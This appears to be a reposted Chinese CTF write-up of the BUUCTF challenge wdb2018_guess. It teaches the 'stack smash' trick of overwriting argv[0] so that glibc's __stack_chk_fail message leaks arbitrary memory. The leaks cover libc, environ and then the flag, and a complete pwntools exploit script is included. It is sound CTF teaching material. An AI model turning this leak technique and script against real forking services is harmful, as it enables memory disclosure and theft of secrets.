本文主要是介绍[BUUCTF]wdb2018_guess——Stack smash技巧,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一道很有趣的题,算是Stack smash的典型
checksec一下,发现开了Canary,但是没开PIE,大概率需要我们搞定Canary
Canary的大体机制在这里就不再赘述了,如果你不了解Canary机制,可以去CTF-wiki:Canary - CTF Wiki上去了解。能搜这篇文章的人想必大多都对Canary有所了解,知道Canary会阻止我们的栈溢出攻击,但是我想很多初学者一开始不会注意Canary触发时的错误信息:
可以看到canary被篡改后,被程序检测到,触发了__stack_chk_fail函数,这个函数会打印报错信息和程序名——即对应main函数的参数:argv[0],这个参数是被保存在栈上的,栈往下稍稍一翻就能看见这个指向程序名的指针。
于是我们就有了个思路,我们可以利用栈溢出漏洞把这个参数给他覆盖成一个地址——这个地址里面有我们想泄露的东西,同时这次溢出还会触发__stack_chk_fail,从而把想要的数据给泄露出来。不过由于__stack_chk_fail之后程序就寄了,所以它只能在有fork函数进行自我复制的程序中使用,或者用它泄露已经读进来的flag。
下面结合本题来讲一下stack smash这个技巧的实战,以标题中的题目:wdb2018_guess为例。
一个很简单的流程,把flag读进来,然后主线程疯狂fork,子线程会让你猜flag,猜flag的时候有个gets栈溢出漏洞,可以溢出到很远的地方。
可以看到最上面很明显有被读进来的flag,从图中也能算出我们写入的数据的起始地址,而在下方r13寄存器下面的指向程序名的即是main的argv[0]参数。我们用gets将其覆盖之后就可以通过触发__stack_chk_fail 实现一个任一地址读。
这里先讲一下fork函数,fork是复制一个完全和原线程一模一样的线程,其子线程的栈/堆/libc的虚拟地址是不变的,这也是我们这个攻击方案的必要条件,关于这一点可以看这位大佬的博客:fork之后子进程到底复制了父进程什么_王小闹儿的博客-CSDN博客_子进程复制了父进程哪些内容这里就不再细说了。
libc中有一个变量environ,储存着栈地址。我们只要得到libc基址,就可以算出这个变量的地址,再次用__stack_chk_fail读取这个变量就可以得到栈的一个地址,就能计算出读进来的flag的地址,从而再次用stack smash读取flag。
(这里得到了栈基址,也可以通过读取栈上存留的用作对照的canary值,来绕过canary,这样应该能拿到shell。这是另一个技巧,今年春杭电Hgame中我记得就有这样一道题。这一题我还没试,以后有机会细说)
exp:
from pwn import *context.terminal=['tmux','splitw','-h']
r=process('/home/wjc/Desktop/GUESS')
#r=remote('node4.buuoj.cn',29734)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
e=ELF('/home/wjc/Desktop/GUESS')gdb.attach(r,'b*400B28')puts_plt=e.plt['puts']
puts_got=e.got['puts']r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(puts_got))
r.recvuntil('*** stack smashing detected ***:')
puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('puts_addr:',hex(puts_addr))
libcbase=puts_addr-0x06f690
print('libcbase:',hex(libcbase))
environ_addr=libcbase+libc.sym['__environ']
print('environ_addr:',hex(environ_addr))r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(environ_addr))
r.recvuntil('*** stack smashing detected ***:')
stack_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('stack_addr:',hex(stack_addr))
flag_addr=stack_addr+(0x7ffc767206a0-0x7ffc76720808)
print('flag_addr:',hex(flag_addr))r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(flag_addr))r.interactive()
这篇关于[BUUCTF]wdb2018_guess——Stack smash技巧的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!